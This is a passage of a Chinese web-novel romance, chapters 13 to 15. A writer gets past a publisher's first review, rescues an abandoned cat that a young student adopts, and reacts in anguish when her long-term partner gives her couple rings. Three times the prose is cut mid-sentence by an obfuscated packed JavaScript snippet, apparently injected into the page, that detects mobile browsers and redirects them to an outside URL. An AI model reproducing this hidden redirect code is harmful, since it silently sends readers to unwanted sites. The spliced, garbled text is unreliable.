一个月啊,何漆单手托着腮想。 在等待结果的日子里,她依旧大量地阅读相关书籍,每天蹲在电脑前把灵感变成具体的文字,然而其中很大一部分并不能成为完整的故事,被当作废稿淹没在了各种文档里。 不过也有那么两三篇是比较满意的,被她坚持不懈地投往回声出版社。 意料之外,大概一周后,何漆就收到了回信。 那时她刚从楼下吃完早餐上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059437|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼,心里还想着昨天写了个开头的故事,走进书房坐下,手机传来一声响。 她不紧不慢地先把文档打开,随后低头点开微信,在看到“李秀兰”这个备注旁的红点时,心跳骤然加快。 「儿童文学是孩子的天地,不是你的讲台。」 何漆看着聊天框里的这句话,一时间摸不着头脑。 怎么还把她拉出来反复鞭尸?她明明像承诺的那样没有再打扰过李秀兰啊? 下一秒,灵光一闪,她忙不迭地在电脑上打开邮箱,收件箱里果然有回声出版社的来件。 由于先看到李秀兰严厉的批评,所以点开邮件时的何漆已经完全不抱期望,她稍有失落地将快速浏览。 先是感谢投稿的套话……再是告知她的文章通过了初审……紧接着附上了儿童文学编辑室洛洛编辑的联系方式…… 等等! 何漆倏地瞪大了眼。 她难以置信地盯着语句中“通过初审”这四个字,来来回回地看了好几遍,确认自己绝对没有出现幻觉。 通过、通过初审了?! 何漆猛地低头,看向手机上李秀兰发来的话语,再用手指轻轻往上一拨。 她们的聊天记录少得可怜,只需一下就能到顶,何漆还能无比清楚地回忆起自己看到那句话时的场景。 「不过如果我发现你连通过初审的水平都不够的话,以后就不必往我这里发,浪费彼此时间。」 所以,李秀兰突然愿意和她浪费时间是因为,她通过初审了? 何漆极力压制住自己内心的雀跃,无比克制地向李秀兰回复了一句“好的,李老师”,随后根据邮件里的信息,添加了洛洛编辑的微信。 对方隔了近二十分钟才通过,简单的寒暄之后表达了对她文章的喜爱。 「不过文章的语言和一些情节处理还是不够成熟,先等二审结果出来后我们再具体交流。」 这位名叫洛洛的编辑显然忙得脚不沾地,自顾自给何漆发完好几条长串的消息,把所有事宜交代完后就再也不见踪影。 何漆不拘这小节,备受鼓舞,花了半小时在旋转椅上独自消化这个喜讯,然后又马不停蹄地投入阅读和创作之中。 洛洛说二审起码要半个月才能出结果,何漆便尽力将其抛在脑后,全当没有这回事,省的每天提心吊胆,还是照旧吃饭看书写文投稿睡觉。 随着文档的数量越积越多,她的写作速度肉眼可见地增快,每个故事的字数以及完整度也逐步提高。 她没日没夜地待在书房里,有时候走去客厅看到陈津,都不知道他是什么时候回的家,两人同住一屋檐下,结果忙得一天连话都说不上几句。 距离发烧那事儿已经过去了半个月,李家佳被工作折磨得半死不活,好不容易凑出个整天的假,叫何漆去她那儿一起吃火锅。 反正陈津天黑前也不回家,何漆便爽快地答应下来,提前去超市买了一大袋子的食材和调料,打车到李家佳小区。 刚跟保安打过招呼,熟门熟路地进去,耳边就猝不及防响起李家佳中气十足、怒不可遏的骂声。 “丫的!你这种人就等着出门被车撞死吧!” 13. 第 13 章 何漆吓一跳,在原地顿了顿,眯着眼仔细瞧过去,看到一栋陌生单元楼下站着一男一女,两人都怒气冲冲的,正指着鼻子互骂。 她生怕李家佳跟那男的动起手来会吃亏,两条腿拔得飞快,手里的袋子险些甩出去。 “什么情况!干什么呢!”何漆还没跑到跟前就开始大声吓唬人,借嗓子给她和李家佳涨涨气势。 那两人回过头来看她。 其中的男人烫着一头枯草似的卷毛,满脸凶相,骂骂咧咧:“他妈的,多管什么闲事!” 李家佳看到何漆来了,立即把指头戳到那男的脸上,嚷嚷着告状:“这傻逼把自家宠物猫拿出来,要丢在小区里!” 何漆走近了,在李家佳身边站定,果见两人脚边放着个航空箱,箱里头蜷着一只英短蓝猫。 她蹲下身确认那蓝猫的状态,看起来倒还健康,冲人警惕地叫了两声,没有明显残缺。 “弃养?”何漆站起身,态度冷静地问那男人。 卷毛则不耐地挠了挠头,开口前又是一串脏词:“我放只猫到底跟你们有什么关系?你家住海边管这么宽?” “弃养你还特有理?□□个狗爹养的!”李家佳夺过何漆手里的袋子,抡圆了往男人身上打,又跟他一通对喷,完全没落下风。 眼见动静越来越大,男的似乎还要动手,何漆拿出手机先开录音,又拨了110,但没打出去,举着屏幕挡在两人中间。 她问:“这猫生病了?” “靠!健康得很!还花了老子千百块给它绝育!” 何漆看他不像说谎,不解地问:“那为什么不养了?” 卷毛愤怒地一脚踹在航空箱上,蓝猫受惊地嘶叫了两声,李家佳立马蹲下身,把航空箱往自己这儿拉。 “他妈的是我前女友养的!现在分手了!还把这死猫留我这儿,我不丢还要供着它?” 何漆弄清事情因果,收了手机,录音没关,仍防备地盯着他:“你确定你前女友不养了?” “养个屁!”卷毛骂完,随后又变脸似的摆出一副笑,嘲讽道,“两位正义使者,爱猫女士,你们要心疼就拿走养啊,我不收你们的钱,当交个朋友。” 李家佳气血上头,又要挥拳头,被何漆拦住。 她冷静地指了指一旁的监控,对男人道:“可以,我们把猫拿走处理,但以后你也别想把它再要回来或者讹我们,监控都拍着。” 卷毛扯了扯嘴角露出个冷笑:“原来就是想白嫖只猫啊,装得多高尚。” 说完他便双手插兜地走回单元楼。 “我□□个死人渣!”李家佳骂得急眼,见人消失在视野里,还对何漆道,“你放开我,看我怎么弄死这种不知好歹的人。” 何漆无奈地拍拍她的额头:“女侠,你不是遵纪守法好公民吗?我告诉你,弃养猫不犯法,但打人犯法,他要弃养没人拦得住他,你要打人警察就得请你喝茶了。” 李家佳闻言一下蔫巴了,往那单元楼里狠狠瞪了一眼,随后像是觉得愧疚,一手拎购物袋,一手拎航空箱,半点不让何漆拿,可怜巴巴地问:“这猫怎么办啊?” “你养?”何漆瞥她一眼。 “我养自己都费劲。” 何漆深吸口气,想说她两句,最后被她无辜的眼神打败:“陈津对猫毛轻微过敏。待会问问附近的宠物医院或者宠物店吧,大不了垫点钱算寄养。” 李家佳觉得这方法可行。她向来想一出是一出,情绪来得快去得也快,眼下把自己当作拯救可怜小猫的大英雄,从不会去想凭什么别人弃养花钱却是自己。 “小可怜,先去我家玩会儿吧!” 李家佳是独居,房子的面积比何漆那儿稍小一点,但一个人住绝对是绰绰有余。 她提早就把火锅的食材和锅底准备好,刚刚下楼原本是要去接何漆,阴差阳错来了那么一遭,此刻正整理着何漆带来的东西。 “你怎么买那么多?咱俩吃三天也吃不完。” 厨房里传来李家佳的声音,何漆刚联系了附近几家宠物店,一边等回复一边隔着航空箱逗弄蓝猫,怕它应激,还没将金属门打开。 “其实也没什么,就一点饮料比较占地方,多的放着呗,下次来吃。” 李家佳拿出里头的饮料:“我说怎么刚刚往人渣身上抡的那下那么扎实。” 何漆皱着眉,无可奈何地笑了笑,打开相机对着蓝猫拍了张实况照片,发到朋友圈,配文“小可怜”。 不少摸鱼的前同事给她点赞,张心怡评论“小可爱”,方翊的名字也出现在了点赞区,何漆这才想起已经很久没和他联系,连上次说好的帮忙谢礼也因为忙碌的写作而忘却了。 方翊在评论区问:姐姐养猫了? 何漆回复:不是,别人弃养的。 没过两秒,方翊就来直接私聊她。 「姐姐,那只猫是别人弃养的?找到领养的人了吗?」 「还没有,我刚问了几家宠物店,都说不收。」 「我想领养它。」 李家佳把装盘的羊肉卷拿出来摆在餐桌上,说可以开饭了,何漆一边应好一边站起来,表情严肃地回复方翊的消息。 「你认真的?养宠物很麻烦,而且你还是学生,不要心血来潮做决定,它的上个主人就没有责任心。」 何漆发完后去洗了个手,在餐桌前坐下,放了点蔬菜进火锅,告诉李家佳:“我刚刚给猫拍照发了朋友圈,方翊说想领养。” 李家佳听完露出同样觉得不靠谱的表情:“他能行吗?别是想表现一下自己,领养也得找个负责的。” 何漆点点头,虽不愿多揣测什么,但也下意识认为方翊不是个好选择,只能边涮边等他的消息。 好半晌,手机“噔”一声响,对面总算有了下文。 李家佳听见动静瞄过去一眼,却见何漆缓缓放下了筷子,拿起手机,神情专注。 「姐姐,我现在在同大附近租房子住,开车三五分钟就能到学校,周一和周三课比较多,但总体时间还是挺充裕,平时能多陪小猫,之前家里也有只布偶,和我从小一起长大,十五岁的时候去世,所以我有养猫的经验,放假了也会把它带回宁市。如果姐姐还是不放心的话,可以随时回访我,我是真心想养它。」 何漆认真看完,疑虑已经打消了大半,将小猫的情况如实告知。 「它外观看起来正常,弃养的主人说已经绝育且健康,但我还没带去医院检查过,不排除是生了重病或者性格不好所以被丢弃的可能。」 方翊回复得很笃定。 「我可以负担。」 何漆看完不再说什么,直接把手机递给了对面的李家佳,让她一起做决定。 “我收回先前的话,他这看起来还挺负责的。”李家佳咬着筷子头,明显被方翊的理由打动。 “那就让他养?”何漆问。 李家佳没意见,把手机还了回去。 何漆问方翊什么时候能把猫带走,方翊说明天行吗,今晚去把小猫要用的东西都置办好,明天下午没课,可以把猫接走直接去宠物医院体检。 何漆说行,又和李家佳商讨“小可怜”今晚住在哪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17059438|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我明天课很满,恐怕没时间再回来把猫给方翊。”李家佳吃得满头发汗,脱掉外套解释。 而何漆作为宅家人员,自然什么时间都能空出来,知道这任务多半是落自己身上了,回头看向已经抵着金属门躺下的蓝猫:“那就让它在我房间凑合一晚吧,我先买点猫粮猫砂和过敏药到家里。” 十月末,深秋,五点出头天就渐渐暗了,两人在蒸腾的火锅热气中一直聊到八点,桌上只剩一些残羹冷炙。 何漆帮着把餐桌厨具都收拾干净,很快带着航空箱打车回家。 她在小区外下车,一路拎着“小可怜”在夜里吹冷风,它倒是乖巧老实,没发出过大的挣扎,只在何漆偶尔拎不稳,轻颠两下时发出弱弱的叫声,何漆听见了就安抚它两句。 出了电梯,门口的外卖架上摆着她提前下单的宠物用品,一起拎上进了家门,却发现客厅的灯是开着的。 陈津刚洗完澡从卧室出来,撞见路过客厅要回房的何漆,对方还没来得及说什么,他一眼便盯住她手里的航空箱:“是你要养猫?我以为你朋友圈发的是李家佳的猫。” “不是。”何漆怕离得这么近会有猫毛惹陈津过敏,先弯腰把航空箱尽量放远,简单解释,“李家佳小区有人弃养,正好方翊看到我朋友圈说想领养,就在我房间放一晚,明天中午带给他,还有上次他帮忙的事儿,我打算顺便请他吃顿饭。” 陈津一时没说话,房间里的蓝猫似乎对新环境感到害怕,试探地叫了几声,何漆听见立刻拿着猫粮进屋,然后蹲下身,倒了点在航空箱前的地板上。 陈津站在门口处,显然顾忌着什么没有进来,居高临下地看着何漆安抚小猫的样子,好几次欲言又止,最后只问:“想好去哪儿吃饭了吗?” 何漆摇摇头:“看他想吃什么吧。” “我陪你一起?”陈津问。 “你不上班?”何漆小心地碰了碰蓝猫的下巴,反问。 “可以请一个中午的假。” “算了吧,那么麻烦。”何漆说,“他年纪小,我们两个一起去恐怕他压力很大。” 说着,她把临时猫砂盆收拾出来,又把金属门打开一半,看到空气里飘浮着几根细小的猫毛,皱眉对陈津道:“你别站在这儿了,这猫好像有点掉毛。” 陈津闷闷地应了一声,又在原地立了会儿才离开。 蓝猫已经吃了何漆买的小半包猫粮,但还是躲在航空箱里不愿出来,她怕猫渴,打算去厨房拿瓶矿泉水。 出房间时路过客厅,陈津人不在,但电视却开着,他的手机也放在沙发扶手上。 何漆好心想帮他把电视暂停,刚走近,沙发上的手机却有所感应般响起来,她垂眸一看,来电备注显示为“何漆母亲”。 她眼皮狠狠一跳。 与此同时,陈津的卧室里传来脚步声,不知怎的,何漆下意识紧张起来,竟假装什么也没看到,快步走进厨房。 从柜子里取出矿泉水后,何漆听到客厅里隐约传来讲电话的声音。 她胡思乱想地缓缓走出去,路过客厅时陈津看过来一眼,手机被他放在耳边,神情并没有什么异常,嘴里还说着“嗯”、“好”之类的应词。 何漆疑惑,徐燕到底有什么事不跟自己说,反而要打电话给陈津?她最近经常跟陈津联系?陈津在答应她什么事? 越想心里越糟乱,等陈津挂断电话后,她几乎脱口而出:“谁的电话?” 陈津转过头来发现她竟然还没回房间,怀里抱着一瓶水和一个软垫,他目光淡淡收回去,平静地答:“一个同事。” 14. 第 14 章 何漆没有拆穿他,但却因此在床上辗转反侧了一整夜。 她实在想不出陈津要瞒着她的理由。 自己的父母和自己的男友跨过她进行联系,一想到这儿何漆的心脏就像是被根鱼线缠着吊起——绝对、绝对没有好事。 因为思虑过度而失眠,何漆翻来覆去地无法入睡,最后开了床头的一盏小灯,看书至凌晨才得以入眠。 第二天早上十点刚过,方翊便兴冲冲地给她发消息,说自己今天的课已经结束了,什么时候能来找她。 何漆彼时刚处理完猫砂,又给蓝猫喂了一次饭,叫方翊随时可以来,到小区外给自己发消息就行。 十点半不到,何漆拎着航空箱和剩余的一点猫粮上了方翊的车。 “我请你吃午饭吧。”她在副驾系上安全带道,“上次帮忙的事还没谢谢你。” 方翊没推脱,笑盈盈地应好:“不过这个点吃饭有点早,我们先去宠物医院给猫做个体检?” 何漆没意见,毕竟方翊是从她这儿领的猫,要是真有什么问题,她也得负点责任。 两人到附近一家较权威的宠物医院,做次检查也得大几百,何漆想付钱,却被方翊挡了回来,他一脸认真正经:“姐姐,这是我的猫。” 蓝猫被带去做检查,方翊全程陪同,何漆坐在走廊的椅子上,还是觉得过意不去,毕竟这猫是她和李家佳捡回来的,于是通过电话号码向方翊的支付宝账号转了一半的费用。 方翊抱着猫从诊室出来时,略带嗔怪似的看向何漆,显然已经发现了她的转账,何漆只好微笑着耸了耸肩:“一人一半。” 做完全部检查花费了一个多小时,因为都是些基础的初步项目,结果当场就能出来,好在那弃养的卷毛没说谎,蓝猫总体还算健康,只是患有轻微的肠胃炎,买点药回去喂几天就能痊愈。 时间正好到饭点,方翊把装着蓝猫的航空箱放进车子后座,何漆上了副驾后问他:“想好给猫取什么名字了吗?” 方翊原本在系安全带,何漆感到他闻言似乎下意识看了自己一眼,于是扭头回望过去,“咔哒”一声,却发现他已经目视前方,一只手握上方向盘,刚刚那一眼仿佛全然是她的错觉。 错觉吗? 何漆蹙眉,怀疑自己和他相处时抱有过分的警惕心,偶尔开始疑神疑鬼。 而方翊缓缓踩下油门,车子平稳行驶起来,他目不斜视,语气平常:“今天是十月二十七号,大名就叫二十七吧。” “二十七。”何漆重复一遍,还来不及生出什么想法,后座的蓝猫好像听懂般忽然叫了一声。 方翊咧开嘴,阳光地笑起来:“聪明啊二十七。” 二十七在航空箱里悠闲地甩甩尾巴,很给面子地又叫一声。 何漆也惊奇地往后座看去,心里升起点对它的喜爱,又想起它昨夜睡在自己的房间里,毫不闹腾的乖巧模样,心想怕不是真被方翊养到好猫。 她隔空用表情逗了一会儿猫,想起正事,转回身问:“对了,你中午想吃什么?附近有家新山记,我们去那吃点?” 何漆做好了大出血还人情的准备,不料方翊压着眉毛眨了眨眼,似不情愿:“我都想好了姐姐,我学校附近有家特别好吃的东北麻辣烫,带你去尝尝。” “麻辣烫?”何漆错愕。 方翊则摆出一副可怜的模样:“姐姐会不会嫌我不上档次?” 何漆连连摇头,脱口而出:“吃顿饭而已,什么档次不档次的。” 然而就这一句话,却把她自己的路给彻底堵死了,毕竟她今天来的主要目的就是请方翊吃顿“上档次”的饭,以此聊表谢意。 但既然都说了“没什么档次不档次的事”,她也就没理由硬要请他去昂贵的餐厅。 何漆心情有些复杂地沉默了会儿,很快就到了同大附近的美食街。 方翊所说的那家东北麻辣烫店面很大,前台的桌面上摞了整整两排的外卖袋,工作日也有不少年轻学子在里面用餐,成群结队、说说笑笑,有朋友有情侣,氛围十分热闹。 何漆随方翊在选菜区拿了圆形塑料盆,不锈钢夹子握在手中先朝空气里夹了两下,她挑选食材时较为克制,按照以往的经验,她很容易高估自己的胃口。 曾经有过因为饿过头、对胃容量过于自信后点了十多个丸子的经历,然而等看到漂浮在碗里的一个个小圆球时,光是瞧上一眼她就饱了。 两人各自选完菜,递交到后厨的窗口,何漆扫码付了钱,领到两个号码手牌,看着两位数的支付金额,颇感无奈。 方翊假装没看见她的神情,一边与她并肩往空桌走,一边后知后觉地说:“对了,光顾着我自己,都没问姐姐喜不喜欢吃这个。” 何漆闻言把目光从手机屏幕上移开,因为不太专注,下意识抬眼发出一声:“嗯?” 反应过来他的问题后才友善地弯了弯嘴角,淡淡回答:“哦,没事,我也挺喜欢吃的,大学的时候就经常吃。” 方翊找到空座坐下,抽了两张纸重新擦拭他们眼前的桌面,好奇追问:“姐姐你在这里工作,所以大学也是本市的吗?” “嗯。”何漆点点头,说话时温和地看着对方,手上却不停把弄着那号码手牌,“在江大读的。” “哇。”方翊惊叹一声,刚要接着问她的大学生活,却好似想到什么,表情一僵,生生将话题岔开去。 何漆没在意,顺着他后来的话题聊,不过就算真的问及她的大学生活,答案也是平平无奇——吃饭睡觉学习比赛,还有陈津。 然而这也正是方翊不愿多问的原因。 这顿饭吃得十分愉快,何漆坐方翊的车回家时,甚至跟李家佳倾情推荐了这家麻辣烫,还在外卖软件上收藏了店铺,决定以后可以经常点。 车照例开到小区外,何漆下车道别,车窗降下来,方翊笑眼盈盈地望她。 吃过两顿饭,何漆与他相处比之前自在些,这会儿友好地和他挥手:“回去跟二十七好好熟悉吧。” 方翊应好,看着何漆转身才缓缓开动车。 刚进家门,还没换上拖鞋,口袋里的手机就响起电话铃。 何漆一手扶着墙踢开脚上的鞋子,一手拿出手机,看到是陈津的来电,纳闷他怎么这会儿打电话过来,接通后放在耳边。 “喂。”她先出声。 “中午吃过饭了?”陈津熟悉的嗓音在耳边响着。 何漆进厨房拿瓶水,道了声“对”,等着陈津说正事。 不料陈津又问:“和方翊?” 何漆蹙了蹙眉,略疑惑地答:“是啊,你有什么事吗?” “吃了什么?” 听到对方的第三个追问,何漆终于勉强相信陈津就是为吃饭的事特意打来电话了。 她有点不好意思地说:“麻辣烫。” “麻辣烫?”对面发出了和她刚听到这个提议时相同的困惑。 “方翊想吃,我原本打算去新山记的,用我们那张卡。”何漆辩解,为了显示自己绝没有小气到只舍得花两位数的地步。 对面一时没说话,然后留了句“好”,又久久地沉默下来,却不挂断电话。 何漆听着陈津若有似无的呼吸声,总觉得他有事要说,奇怪地问:“你……还有别的事吗?” “我……”陈津刚开口,那头就好像有人在慌里慌张地叫陈工,他只好匆匆对何漆道,“没事,挂吧。” 手机熄屏的瞬间,何漆看着屏幕上自己的倒影,无端想起昨晚那个被陈津刻意隐瞒的电话,一根无形的鱼线又将她的心惴惴不安地吊起来。 - 十月一过,离何漆的生日便近了。 她身边最重要的是李家佳和陈津两个人,通常是谁当天有空就跟谁过,都有空就一起过。 但今年李家佳工作忙到飞起,看架势比陈津还吓人,显然调不开时间,于是提前送了她两大盒贵妇级别的全套护肤品作生日礼物,还说要给她补偿,让她想要什么都尽管提。 何漆只让她有空先别去喝酒,自己约着她下一顿饭,李家佳满口答应,胡搅蛮缠地理解为让她有空就约何漆去喝酒。 李家佳这头没戏,陈津那儿倒还好说,甚至不用请一整天的假,只要他比准时再早一点下班就好。 十一月六号,何漆生日的前一天,张心怡意外地向她约饭,说要请客给她庆生。 何漆生怕她因为过意不去上次那顿火锅,要请她吃什么人均大几百的餐厅,答应下来后立刻推荐。 「我家附近新开了家小炒,评价都超高,我还一直找不到人陪我去,正好我们一起,怎么样?」 张心怡自然答应。 小饭馆看起来平平无奇,味道却是出奇得好,何漆不免觉得幸运,最近接连找到两家合胃口的餐店,难道真是生日带来的好运? 饭馆离何漆家不远,她吃得有些撑,打算散散步消食,走到走不动了再打车。 送走张心怡,她便在街上慢悠悠地闲逛。 期间刷了会儿朋友圈,给几个还算熟悉的朋友点了赞,往下翻,竟看到方翊发了张二十七的照片,看背景是在上回那家宠物医院里,配文也是“小可怜”。 何漆以为是猫又生了病,狐疑地在评论区问“怎么了”。 接着把没看过的朋友圈都刷完才收到回复,方翊说是之前的肠胃炎,吃了药之后带来复查。 何漆这才放下心,刚要专心过人行道,手机又响了两次,是方翊直接发来的私信。 「姐姐你在家吗?我马上回家正好路过你小区,想把生日礼物送给你。」 何漆看到消息直接在路边停下,绿灯已经开始倒数闪烁,她索性等下一次的跳灯,低头回方翊的消息。 「你怎么知道我的生日?礼物就不用破费了,带二十七快回家吧。」 「支付宝好友的生日提醒里看到的。可我都买好礼物了姐姐,不贵的,你要是不方便来拿我可以放在保安那儿,叫物业给你送上去。」 何漆有些头疼,左右看了看街道,确定自己现在的位置,和方翊所在的那家宠物医院恐怕只有几百米远。 方翊的新消息又在屏幕里跳出。 「我现在开车过来,可以吗?姐姐。」 何漆抬眼,红灯还明晃晃地挂在马路对面进行警告,回家最近的路线眼下走不通,她索性放弃了直走,一边转换路线一边给方翊发语音。 “算了,你还在那家医院吧?” 她的语音里有很明显的车流声,一听便知不是在室内。 方翊回「在。」 “那你等一会儿吧,我离你很近,很快能到。” 何漆懒得打车,还是决定步行过去,又不想方翊等太久,于是小跑了一段路,等宠物医院渐渐出现在视野里,她才缓下脚步,把气喘匀,一点点靠近。 医院门口蹲着一个人,怀里抱着猫轻轻逗弄,何漆走到他面前,方翊才抬起头来,两手捏着二十七的胖爪子,小幅度地摆弄:“小七,看看谁来了?” 二十七似乎已经跟他混得很熟,听见主人叫它,用脸蹭了蹭方翊的下巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065596|194988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,夹着嗓子“喵”一声。 何漆刻意没理会他那不着调的招呼,问:“怎么在外面等?” 方翊站起身,怀里还抱着猫,把手上的礼盒姿势变扭地递过去:“想早点把礼物给你。” 何漆道了声谢后接过礼盒。 盒子上没有任何花纹图标,看样子是特意重新包装过的,这个大小能装下的东西不少,但份量不算太重,她一时猜不出里面是什么。 “拆开看看吧。”方翊含笑说。 何漆便小心地将盒子打开,里头赫然躺着一条卡其色的围巾披肩,她伸手抚过,面料柔软不扎人,因为是纯色,也看不出是什么牌子。 但如果真是纯羊绒的面料,恐怕不会便宜。 何漆心头忧愁,这么一来一去,人情还怎么还得清? 方翊见她愣神,表情说不上高兴,忐忑地问:“姐姐,你不喜欢吗?” 何漆被他小心翼翼的语气惊了一跳,霎时收回表情,合上盖子,弯了弯眼:“没有,我很喜欢,就是怕太贵重……” 她话未说完,身后传来一声巨大的、刺耳的、仿佛带着怒气的鸣笛。 二十七被这突如其来的噪音吓到,险些从方翊怀中跳走。 何漆则下意识转身看去。 一辆无比熟悉的卡宴出现在视野里,缓缓在路边停定。 主驾驶的车门打开,高大的男人利落地下车,带着一种暗潮汹涌的气势走来。 陈津脸上看不出任何表情,但这平静中隐隐有什么东西在滚动,方翊与她之间的距离也好似成了真空地带。 何漆奇怪他会出现在这里,迎着走过去两步,立在陈津面前,还没来得及说话,男人却猝不及防地俯下身,隐忍地将她的外套拢了拢,沉声问:“不是说和之前的女同事吃饭?” 何漆盯着他,看出他淡然假象下的异常,侧过身露出不远处刚把二十七放入猫包里的方翊,大方介绍:“这就是方翊,他说有生日礼物要给我,我吃饭的地方在这附近,索性过来拿了。” 她话音落地,陈津才第一次把目光投向那个年轻的男生,他牵着何漆大步流星走过去,礼貌地同人寒暄。 方翊迟疑地握上陈津的手,目光却偏移,对着何漆歪了歪脑袋,意味不明地挑眉。 三人之间也没什么好聊的,无非说了两嘴上次发烧的事儿,何漆察觉气氛并不好,一手拉着陈津,一手晃了晃礼盒干脆地和方翊告别:“谢谢你的礼物,那我们先走了。” 方翊还是冲她笑,然而这笑远不如从前那样明媚了。 何漆没心思辨别,又从拉着陈津变成被陈津拉着,步伐匆忙地回车,拿着礼盒的手指不安地捏紧。 刚在副驾上坐稳,陈津便狠打着方向盘回到主路上,好像逃跑似的要远离那个地方。 何漆握了握身上的安全带,轻咳两声,对方一直不说话,她觉得自己应该说点什么。 可是该说点什么?要是随便找个无关紧要的话题,那样就好像她在心虚地转移视线,然而根本没什么可心虚的。 难道要说方翊?但该说的在刚刚也都说了,关于方翊,她确实没有多余的可讲。 “你怎么找到我的?”何漆这么问。 她只提过自己要和张心怡吃饭,却没说过在哪家店,况且这里和那家小炒还隔了几条街道。 “下班回家。”陈津说。 所以是正好在路上一眼发现她的,何漆摸了摸鼻子看向窗外,真够凑巧的。 她手里还拿着方翊的礼物,扭过半个身子打算先扔到后头,却因此一眼看到了放在后排座椅上两个暗红色的礼袋,上面印着卡地亚的商标。 “这是什么?”何漆放好方翊的礼物,拿过两个袋子回身,问陈津。 “礼物,给你的。” 何漆不敢贸然拆开,又问:“哪个?” 怀里的两个礼袋也有大小之分,难保哪一个是陈津买给自己或者要送人的。 何漆还在等陈津的回答,却半晌没听到声音,抬起头,只从后视镜中看到他脸上古怪的神情,像是犹豫、像是抉择。 她以为陈津忘了哪一个是买给她的,又问:“买的是什么?” 却忽然听男人道:“大的那个。” 何漆听从,拿出里面的红盒子,看大小似乎是耳钉,于是毫无防备、满含期待地弯着笑眼将盒子打开。 后来的一段时间,何漆常常回想起这个时刻,她觉得自己这一秒打开的绝对不是一个首饰盒,而是潘多拉的那个魔盒。 只要打开了它,就没有回头路,只要打开了它,诅咒、痛苦、绝望就会蔓延世界。 一瞬间,看清的一瞬间,何漆全身的血液都冲到了头顶—— 暗红的盒子,纯黑的海绵,凹陷处嵌着两枚对戒。 对戒。 对戒? 对戒?! 她从头到脚麻了一遍,然后像是失去了知觉。 她忽然感到极端的恐惧,她觉得身边的人不是陈津,而是披着陈津的皮想要杀死她的怪物,她猛地扭头看向他,却见男人平静的面容上只有细小的波澜。 何漆恍恍惚惚认为自己是在做梦,眼前一切都不真实,不然陈津为什么会给她戒指?她全身心信任了七年的男人,为什么要给她戒指? 什么意思? 什么意思?! 她像是被狠狠电击了一下,应激地喘不过气来,不假思索地将手里的红盒子砸向身旁的男人,眼泪夺眶而出,歇斯底里地拍打着车门。 “停车!!” 15-20 第15章 红盒子结结实实地砸在颧骨上,陈津却连躲都没躲一下,任由那东西掉落怀里,他猛打方向盘,紧急将车子靠路边停下。 从听到何漆把盒子打开起,陈津的思绪就汇成了一根紧绷的弦,无法做多余的思考,全凭本能在做事,手死死攥着方向盘。 被砸中的颧骨这会儿已经红了一片,他却全然感受不到一般,只在停车时不动声色地深呼吸两次,吐出的每一寸空气都带着颤。 他先前一直没敢看何漆,这会儿转头,被震在原地。 何漆早已泪流满面,却一声都没有哭出来,痛彻心扉和心如死灰的表情同时出现在她的脸上。 陈津看到她死死盯着自己,恨得像是要把他盯出一个洞来。 刹那间,巨大的慌张席卷而来,足以将他吞噬的恐慌。 在七年的恋爱生涯里,陈津只见过一次何漆这副悲痛欲绝的模样,是在她告诉父母自己是不婚主义的那段时间里。 那时陈津心疼她、引导她,使出浑身解数托着她离开那种伤痛,想尽办法也要搭造一个让她能够安心下来的爱巢。 而眼下,却同样是他亲手把她推回了那个深渊,又一次更痛苦地循环。 做出这种事,他一定是失了智。 意识到这一点,陈津的心开始猛烈不安地跳动,几乎要冲破胸膛跳到何漆的手里,亲自告诉他自己后悔了,此生都不会有更后悔的时刻。 他手足无措地要去给何漆擦泪,甚至穷途末路地想吻她,却被何漆狠狠地打开。 “我说错了。”陈津一手牢牢握住何漆的手腕,看她不断从眼底滚落的泪珠,口不择言,“是另外一个,何漆,另外一个才是给你的,是我记错了。” 何漆近乎荒谬地冷笑出声,出口的话语已经不能成调:“那这东西是给谁的?你要送给谁的?!” 对峙的崩溃中,陈津另一手也攀上何漆的手腕,他双手都抓握着她,仿佛这样就能稳定住些什么,他无力般低垂下脑袋,仿佛这样就不会让什么逝去。 但在陈津决定要把戒指放到何漆面前那一刻开始,他们之间的信任就必然会不可挽回的崩逝了。 何漆哽咽得几乎发不出声来,每说一个字都会伴随着沙哑的哭嚎:“你为什么要这么对我?陈津,我做错了什么?” “你跟我妈的通话就是在商量这件事吗?是吗?!” 那根鱼线依旧勒在何漆的心脏上,打了一个又一个细小的结,往上一拎,割断的血肉就腐烂着流淌下来。 她快痛死了。 陈津怎么能这么对她。 “你想结婚是吗?”何漆哭累到极点,然后诡异地平静下来。 陈津猛然抬起头想否认,但何漆没给他这个机会:“你想结婚你就告诉我啊,你怕我纠缠你吗?你怕我抓着你不放吗?你觉得是我拖累你让你不能走入正常的婚姻吗?所以你用这种招数对付我、背叛我,是吗?” 